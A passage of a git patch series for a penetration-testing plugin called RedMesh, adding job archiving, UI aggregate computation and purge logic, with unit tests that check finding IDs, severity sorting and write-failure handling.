"nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {"findings_score": 5}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # r1fs.add_json called twice: once for aggregated data, once for PassReport + self.assertEqual(plugin.r1fs.add_json.call_count, 2) + + # Second call is the PassReport + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertEqual(pass_report_dict["pass_nr"], 1) + self.assertIn("aggregated_report_cid", pass_report_dict) + self.assertIn("worker_reports", pass_report_dict) + self.assertEqual(pass_report_dict["risk_score"], 10) + self.assertIn("risk_breakdown", pass_report_dict) + self.assertIn("date_started", pass_report_dict) + self.assertIn("date_completed", pass_report_dict) + + def test_aggregated_report_separate_cid(self): + """aggregated_report_cid is a separate R1FS write from the PassReport.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: "QmPassCID"}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # First R1FS write = aggregated data, second = PassReport + agg_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + pass_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + + # The PassReport references the aggregated CID + self.assertEqual(pass_dict["aggregated_report_cid"], "QmAggCID") + + # Aggregated data should have open_ports (from AggregatedScanData) + self.assertIn("open_ports", agg_dict) + + def test_finding_id_deterministic(self): + """Same input produces same finding_id; different title produces different id.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_service_info_http": { + "findings": [ + {"title": "SQL Injection", "severity": "HIGH", "cwe_id": "CWE-89", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + risk1, findings1 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + risk2, findings2 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + + self.assertEqual(findings1[0]["finding_id"], findings2[0]["finding_id"]) + + # Different title → different finding_id + aggregated2 = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_service_info_http": { + "findings": [ + {"title": "XSS Vulnerability", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + _, findings3 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated2) + self.assertNotEqual(findings1[0]["finding_id"], findings3[0]["finding_id"]) + + def test_finding_id_cwe_collision(self): + """Same CWE, different title, same port+probe → different finding_ids.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_web_test_xss": { + "findings": [ + {"title": "Reflected XSS in search", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, + {"title": "Stored XSS in comment", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 2) + self.assertNotEqual(findings[0]["finding_id"], findings[1]["finding_id"]) + + def test_finding_enrichment_fields(self): + """Each finding has finding_id, port, protocol, probe, category.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [443], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"443": "https"}, + "service_info": { + "443": { + "_service_info_ssl": { + "findings": [ + {"title": "Weak TLS", "severity": "MEDIUM", "cwe_id": "CWE-326", "confidence": "certain"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 1) + f = findings[0] + self.assertIn("finding_id", f) + self.assertEqual(len(f["finding_id"]), 16) # 16-char hex + self.assertEqual(f["port"], 443) + self.assertEqual(f["protocol"], "https") + self.assertEqual(f["probe"], "_service_info_ssl") + self.assertEqual(f["category"], "service") + + def test_port_protocols_none(self): + """port_protocols is None → protocol defaults to 'unknown' (no crash).""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [22], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": None, + "service_info": { + "22": { + "_service_info_ssh": { + "findings": [ + {"title": "Weak SSH key", "severity": "LOW", "cwe_id": "CWE-320", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0]["protocol"], "unknown") + + def test_llm_success_no_llm_failed(self): + """LLM succeeds → llm_failed absent from serialized PassReport.""" + from extensions.business.cybersec.red_mesh.models import PassReport + + pr = PassReport( + pass_nr=1, date_started=1000.0, date_completed=1100.0, duration=100.0, + aggregated_report_cid="QmAgg", + worker_reports={}, + risk_score=50, + llm_analysis="# Analysis\nAll good.", + quick_summary="No critical issues found.", + llm_failed=None, # success + ) + d = pr.to_dict() + self.assertNotIn("llm_failed", d) + self.assertEqual(d["llm_analysis"], "# Analysis\nAll good.") + + def test_llm_failure_flag_and_timeline(self): + """LLM fails → llm_failed: True, timeline event added.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(llm_enabled=True) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + # LLM returns None (failure) + plugin._run_aggregated_llm_analysis = MagicMock(return_value=None) + plugin._run_quick_summary_analysis = MagicMock(return_value=None) + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # Check PassReport has llm_failed=True + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertTrue(pass_report_dict.get("llm_failed")) + + # Check timeline event was emitted for llm_failed + llm_failed_calls = [ + c for c in plugin._emit_timeline_event.call_args_list + if c[0][1] == "llm_failed" + ] + self.assertEqual(len(llm_failed_calls), 1) + # _emit_timeline_event(job_specs, "llm_failed", label, meta={"pass_nr": ...}) + call_kwargs = llm_failed_calls[0][1] # keyword args + meta = call_kwargs.get("meta", {}) + self.assertIn("pass_nr", meta) + + def test_aggregated_report_write_failure(self): + """R1FS fails for aggregated → pass finalization skipped, no partial state.""" + PentesterApi01Plugin = self._get_plugin_class() + # First R1FS write (aggregated) returns None = failure + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: None, 2: "QmPassCID"}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore should NOT have pass_reports appended + self.assertEqual(len(job_specs["pass_reports"]), 0) + # CStore hset should NOT have been called for finalization + plugin.chainstore_hset.assert_not_called() + + def test_pass_report_write_failure(self): + """R1FS fails for pass report → CStore pass_reports not appended.""" + PentesterApi01Plugin = self._get_plugin_class() + # First R1FS write (aggregated) succeeds, second (pass report) fails + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: None}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore should NOT have pass_reports appended + self.assertEqual(len(job_specs["pass_reports"]), 0) + # CStore hset should NOT have been called for finalization + plugin.chainstore_hset.assert_not_called() + + def test_cstore_risk_score_updated(self): + """After pass, risk_score on CStore matches pass result.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 42, "breakdown": {"findings_score": 30}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore risk_score updated + self.assertEqual(job_specs["risk_score"], 42) + + # PassReportRef in pass_reports has same risk_score + self.assertEqual(len(job_specs["pass_reports"]), 1) + ref = job_specs["pass_reports"][0] + self.assertEqual(ref["risk_score"], 42) + self.assertIn("report_cid", ref) + self.assertEqual(ref["pass_nr"], 1) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -2582,4 +3042,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCorrelationEngine)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) runner.run(suite) From ef12de2cd5e94b72a8f4de3ea204fe307bbaa0ae Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 21:01:25 +0000 Subject: [PATCH 011/114] feat: job archive & UI Aggregate (phase 3-4) --- .../cybersec/red_mesh/pentester_api_01.py | 243 ++++++++- .../cybersec/red_mesh/test_redmesh.py | 473 ++++++++++++++++++ 2 files changed, 703 insertions(+), 13 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 4dda18e2..0df6d447 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -38,7 +38,10 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin -from .models import JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData +from .models import ( + JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, + CStoreJobFinalized, UiAggregate, JobArchive, +) from .constants import ( FEATURE_CATALOG, LLM_ANALYSIS_SECURITY_ASSESSMENT, @@ -1464,6 +1467,202 @@ def parse_port(port_key): } return risk_result, flat_findings + def _count_services(self, service_info): + """Count unique service types across all ports. + + Parameters + ---------- + service_info : dict + Port-keyed service info dict from aggregated scan data. + + Returns + ------- + int + Number of unique service types (probe names). + """ + services = set() + if not isinstance(service_info, dict): + return 0 + for port_key, probes in service_info.items(): + if isinstance(probes, dict): + for probe_name in probes: + services.add(probe_name) + return len(services) + + SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} + CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} + + def _compute_ui_aggregate(self, passes, latest_aggregated): + """Compute pre-aggregated view for frontend from pass reports. + + Parameters + ---------- + passes : list + List of pass report dicts (PassReport.to_dict()). + latest_aggregated : dict + AggregatedScanData dict for the latest pass. + + Returns + ------- + UiAggregate + """ + from collections import Counter + + latest = passes[-1] + agg = latest_aggregated + findings = latest.get("findings", []) or [] + + # Severity breakdown + findings_count = dict(Counter(f.get("severity", "INFO") for f in findings)) + + # Top findings: CRITICAL + HIGH, sorted by severity then confidence, capped at 10 + crit_high = [f for f in findings if f.get("severity") in ("CRITICAL", "HIGH")] + crit_high.sort(key=lambda f: ( + self.SEVERITY_ORDER.get(f.get("severity"), 9), + self.CONFIDENCE_ORDER.get(f.get("confidence"), 9), + )) + top_findings = crit_high[:10] + + # Finding timeline: track persistence across passes (continuous monitoring) + finding_timeline = {} + for p in passes: + pass_nr = p.get("pass_nr", 0) + for f in (p.get("findings") or []): + fid = f.get("finding_id") + if not fid: + continue + if fid not in finding_timeline: + finding_timeline[fid] = {"first_seen": pass_nr, "last_seen": pass_nr, "pass_count": 1} + else: + finding_timeline[fid]["last_seen"] = pass_nr + finding_timeline[fid]["pass_count"] += 1 + + return UiAggregate( + total_open_ports=sorted(set(agg.get("open_ports", []))), + total_services=self._count_services(agg.get("service_info", {})), + total_findings=len(findings), + findings_count=findings_count if findings_count else None, + top_findings=top_findings if top_findings else None, + finding_timeline=finding_timeline if finding_timeline else None, + latest_risk_score=latest.get("risk_score", 0), + latest_risk_breakdown=latest.get("risk_breakdown"), + latest_quick_summary=latest.get("quick_summary"), + worker_activity=[ + { + "id": addr, + "start_port": w["start_port"], + "end_port": w["end_port"], + "open_ports": w.get("open_ports", []), + } + for addr, w in (latest.get("worker_reports") or {}).items() + ] or None, + ) + + def _build_job_archive(self, job_key, job_specs): + """Build archive, write to R1FS, prune CStore. Idempotent on failure. + + Called when job reaches FINALIZED or STOPPED state. Builds the complete + archive, writes it to R1FS, then prunes CStore to a lightweight stub. + + Safety invariant: never prune CStore until archive CID is confirmed written. + + Parameters + ---------- + job_key : str + CStore key for this job. + job_specs : dict + Full CStore job state. + """ + job_id = job_specs.get("job_id", job_key) + + # 1. Fetch job config + job_config = self.r1fs.get_json(job_specs.get("job_config_cid")) + if job_config is None: + self.P(f"Cannot build archive for {job_id}: job config not found in R1FS", color='r') + return + + # 2. Fetch all pass reports + passes = [] + for ref in job_specs.get("pass_reports", []): + pass_data = self.r1fs.get_json(ref["report_cid"]) + if pass_data is None: + self.P(f"Cannot build archive for {job_id}: pass {ref['pass_nr']} not found", color='r') + return + passes.append(pass_data) + + if not passes: + self.P(f"Cannot build archive for {job_id}: no pass reports", color='r') + return + + # 3. Fetch latest aggregated report for UI aggregate computation + latest_agg_cid = passes[-1].get("aggregated_report_cid") + latest_aggregated = self.r1fs.get_json(latest_agg_cid) if latest_agg_cid else None + if not latest_aggregated: + self.P(f"Cannot build archive for {job_id}: latest aggregated report not found in R1FS", color='r') + return + + # 4. Compute UI aggregate from passes + latest aggregated data + ui_aggregate = self._compute_ui_aggregate(passes, latest_aggregated) + + # 5. Compose archive + date_completed = self.time() + duration = date_completed - job_specs.get("date_created", date_completed) + + archive = JobArchive( + job_id=job_id, + job_config=job_config, + timeline=job_specs.get("timeline", []), + passes=passes, + ui_aggregate=ui_aggregate.to_dict(), + duration=duration, + date_created=job_specs.get("date_created", 0), + date_completed=date_completed, + start_attestation=job_specs.get("redmesh_job_start_attestation"), + ) + + # 6. Write archive to R1FS + job_cid = self.r1fs.add_json(archive.to_dict(), show_logs=False) + if not job_cid: + self.P(f"Archive write to R1FS failed for {job_id}", color='r') + return + + # 7. Verify CID is retrievable + if self.r1fs.get_json(job_cid) is None: + self.P(f"Archive CID {job_cid} not retrievable after write for {job_id}", color='r') + return + + # 8. Prune CStore to stub (commit point) + stub = CStoreJobFinalized( + job_id=job_id, + job_status=job_specs.get("job_status", "FINALIZED"), + target=job_specs.get("target", ""), + task_name=job_specs.get("task_name", ""), + risk_score=job_specs.get("risk_score", 0), + run_mode=job_specs.get("run_mode", "SINGLEPASS"), + duration=duration, + pass_count=len(passes), + launcher=job_specs.get("launcher", ""), + launcher_alias=job_specs.get("launcher_alias", ""), + worker_count=len(job_specs.get("workers", {})), + start_port=job_specs.get("start_port", 0), + end_port=job_specs.get("end_port", 0), + date_created=job_specs.get("date_created", 0), + date_completed=date_completed, + job_cid=job_cid, + job_config_cid=job_specs.get("job_config_cid", ""), + ) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=stub.to_dict()) + self.P(f"Job {job_id} archived. CID={job_cid}, CStore pruned to stub.") + + # 9. Clean up individual pass report CIDs (best-effort, after commit) + for ref in job_specs.get("pass_reports", []): + cid = ref.get("report_cid") + if cid: + try: + self.r1fs.delete_file(cid, show_logs=False, raise_on_error=False) + except Exception as e: + self.P(f"Failed to clean up pass report CID {cid}: {e}", color='y') + def _maybe_finalize_pass(self): """ Launcher finalizes completed passes and orchestrates continuous monitoring. @@ -1644,30 +1843,25 @@ def _maybe_finalize_pass(self): # 10. UPDATE CStore with lightweight PassReportRef pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) - # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) + # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore if run_mode == "SINGLEPASS": job_specs["job_status"] = "FINALIZED" - created_at = self._get_timeline_date(job_specs, "created") or self.time() - job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + self._build_job_archive(job_key, job_specs) continue # CONTINUOUS_MONITORING logic below - # Check if soft stop was scheduled + # Check if soft stop was scheduled — build archive and prune CStore if job_status == "SCHEDULED_FOR_STOP": job_specs["job_status"] = "STOPPED" - created_at = self._get_timeline_date(job_specs, "created") or self.time() - job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + self._build_job_archive(job_key, job_specs) continue - # end if # Schedule next pass interval = job_config.get("monitor_interval", self.cfg_monitor_interval) @@ -2332,19 +2526,42 @@ def purge_job(self, job_id: str): _, job_specs = self._normalize_job_record(job_id, raw) - # Reject if job is still running + # Reject if job is still running (finalized stubs have no workers dict) + job_status = job_specs.get("job_status", "") workers = job_specs.get("workers", {}) - if any(not w.get("finished") for w in workers.values()): + if workers and any(not w.get("finished") for w in workers.values()): + return {"status": "error", "message": "Cannot purge a running job. Stop it first."} + if job_status not in ("FINALIZED", "STOPPED") and workers: return {"status": "error", "message": "Cannot purge a running job. Stop it first."} # Collect all CIDs (deduplicated) cids = set() + + # Archive CID (finalized jobs) + job_cid = job_specs.get("job_cid") + if job_cid: + cids.add(job_cid) + # Fetch archive to find nested CIDs + try: + archive = self.r1fs.get_json(job_cid) + if isinstance(archive, dict): + for pass_data in archive.get("passes", []): + agg_cid = pass_data.get("aggregated_report_cid") + if agg_cid: + cids.add(agg_cid) + for wr in (pass_data.get("worker_reports") or {}).values(): + if isinstance(wr, dict) and wr.get("report_cid"): + cids.add(wr["report_cid"]) + except Exception: + pass # best-effort + + # Worker report CIDs (running jobs only — finalized stubs have no workers) for addr, w in workers.items(): cid = w.get("report_cid") if cid: cids.add(cid) - # Collect CIDs from pass reports (PassReportRef entries) + # Collect CIDs from pass reports (PassReportRef entries — running jobs only) for ref in job_specs.get("pass_reports", []): report_cid = ref.get("report_cid") if report_cid: diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index c15562d8..7261709a 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3028,6 +3028,477 @@ def test_cstore_risk_score_updated(self): self.assertEqual(ref["pass_nr"], 1) +class TestPhase4UiAggregate(unittest.TestCase): + """Phase 4: UI Aggregate Computation.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _make_plugin(self): + plugin = MagicMock() + Plugin = self._get_plugin_class() + plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER + plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + return plugin, Plugin + + def _make_finding(self, severity="HIGH", confidence="firm", finding_id="abc123", title="Test"): + return {"finding_id": finding_id, "severity": severity, "confidence": confidence, "title": title} + + def _make_pass(self, pass_nr=1, findings=None, risk_score=0, worker_reports=None): + return { + "pass_nr": pass_nr, + "risk_score": risk_score, + "risk_breakdown": {"findings_score": 10}, + "quick_summary": "Summary text", + "findings": findings, + "worker_reports": worker_reports or { + "w1": {"start_port": 1, "end_port": 512, "open_ports": [80]}, + }, + } + + def _make_aggregated(self, open_ports=None, service_info=None): + return { + "open_ports": open_ports or [80, 443], + "service_info": service_info or { + "80": {"_service_info_http": {"findings": []}}, + "443": {"_service_info_https": {"findings": []}}, + }, + } + + def test_findings_count_uppercase_keys(self): + """findings_count keys are UPPERCASE.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="CRITICAL", finding_id="f1"), + self._make_finding(severity="HIGH", finding_id="f2"), + self._make_finding(severity="HIGH", finding_id="f3"), + self._make_finding(severity="MEDIUM", finding_id="f4"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + fc = result.to_dict()["findings_count"] + self.assertEqual(fc["CRITICAL"], 1) + self.assertEqual(fc["HIGH"], 2) + self.assertEqual(fc["MEDIUM"], 1) + for key in fc: + self.assertEqual(key, key.upper()) + + def test_top_findings_max_10(self): + """More than 10 CRITICAL+HIGH -> capped at 10.""" + plugin, _ = self._make_plugin() + findings = [self._make_finding(severity="CRITICAL", finding_id=f"f{i}") for i in range(15)] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + self.assertEqual(len(result.to_dict()["top_findings"]), 10) + + def test_top_findings_sorted(self): + """CRITICAL before HIGH, within same severity sorted by confidence.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="HIGH", confidence="certain", finding_id="f1", title="H-certain"), + self._make_finding(severity="CRITICAL", confidence="tentative", finding_id="f2", title="C-tentative"), + self._make_finding(severity="HIGH", confidence="tentative", finding_id="f3", title="H-tentative"), + self._make_finding(severity="CRITICAL", confidence="certain", finding_id="f4", title="C-certain"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + top = result.to_dict()["top_findings"] + self.assertEqual(top[0]["title"], "C-certain") + self.assertEqual(top[1]["title"], "C-tentative") + self.assertEqual(top[2]["title"], "H-certain") + self.assertEqual(top[3]["title"], "H-tentative") + + def test_top_findings_excludes_medium(self): + """MEDIUM/LOW/INFO findings never in top_findings.""" + plugin, _ = self._make_plugin() + findings = [ + self._make_finding(severity="MEDIUM", finding_id="f1"), + self._make_finding(severity="LOW", finding_id="f2"), + self._make_finding(severity="INFO", finding_id="f3"), + ] + p = self._make_pass(findings=findings) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertNotIn("top_findings", d) # stripped by _strip_none (None) + + def test_finding_timeline_single_pass(self): + """1 pass -> finding_timeline is None (stripped).""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertNotIn("finding_timeline", d) # None → stripped + + def test_finding_timeline_multi_pass(self): + """3 passes with overlapping findings -> correct first_seen, last_seen, pass_count.""" + plugin, _ = self._make_plugin() + f_persistent = self._make_finding(finding_id="persist1") + f_transient = self._make_finding(finding_id="transient1") + f_new = self._make_finding(finding_id="new1") + passes = [ + self._make_pass(pass_nr=1, findings=[f_persistent, f_transient]), + self._make_pass(pass_nr=2, findings=[f_persistent]), + self._make_pass(pass_nr=3, findings=[f_persistent, f_new]), + ] + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate(passes, agg) + ft = result.to_dict()["finding_timeline"] + self.assertEqual(ft["persist1"]["first_seen"], 1) + self.assertEqual(ft["persist1"]["last_seen"], 3) + self.assertEqual(ft["persist1"]["pass_count"], 3) + self.assertEqual(ft["transient1"]["first_seen"], 1) + self.assertEqual(ft["transient1"]["last_seen"], 1) + self.assertEqual(ft["transient1"]["pass_count"], 1) + self.assertEqual(ft["new1"]["first_seen"], 3) + self.assertEqual(ft["new1"]["last_seen"], 3) + self.assertEqual(ft["new1"]["pass_count"], 1) + + def test_zero_findings(self): + """findings_count is {}, top_findings is [], total_findings is 0.""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated() + result = plugin._compute_ui_aggregate([p], agg) + d = result.to_dict() + self.assertEqual(d["total_findings"], 0) + # findings_count and top_findings are None (stripped) when empty + self.assertNotIn("findings_count", d) + self.assertNotIn("top_findings", d) + + def test_open_ports_sorted_unique(self): + """total_open_ports is deduped and sorted.""" + plugin, _ = self._make_plugin() + p = self._make_pass(findings=[]) + agg = self._make_aggregated(open_ports=[443, 80, 443, 22, 80]) + result = plugin._compute_ui_aggregate([p], agg) + self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) + + def test_count_services(self): + """_count_services counts unique probe names across ports.""" + plugin, _ = self._make_plugin() + service_info = { + "80": {"_service_info_http": {}, "_web_test_xss": {}}, + "443": {"_service_info_https": {}, "_service_info_http": {}}, + } + self.assertEqual(plugin._count_services(service_info), 3) + self.assertEqual(plugin._count_services({}), 0) + self.assertEqual(plugin._count_services(None), 0) + + +class TestPhase3Archive(unittest.TestCase): + """Phase 3: Job Close & Archive.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGLEPASS", + job_status="FINALIZED", r1fs_write_fail=False, r1fs_verify_fail=False): + """Build a mock plugin pre-configured for _build_job_archive testing.""" + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.time.return_value = 1000200.0 + plugin.json_dumps.return_value = "{}" + + # R1FS mock + plugin.r1fs = MagicMock() + + # Build pass report dicts and refs + pass_reports_data = [] + pass_report_refs = [] + for i in range(1, pass_count + 1): + pr = { + "pass_nr": i, + "date_started": 1000000.0 + (i - 1) * 100, + "date_completed": 1000000.0 + i * 100, + "duration": 100.0, + "aggregated_report_cid": f"QmAgg{i}", + "worker_reports": { + 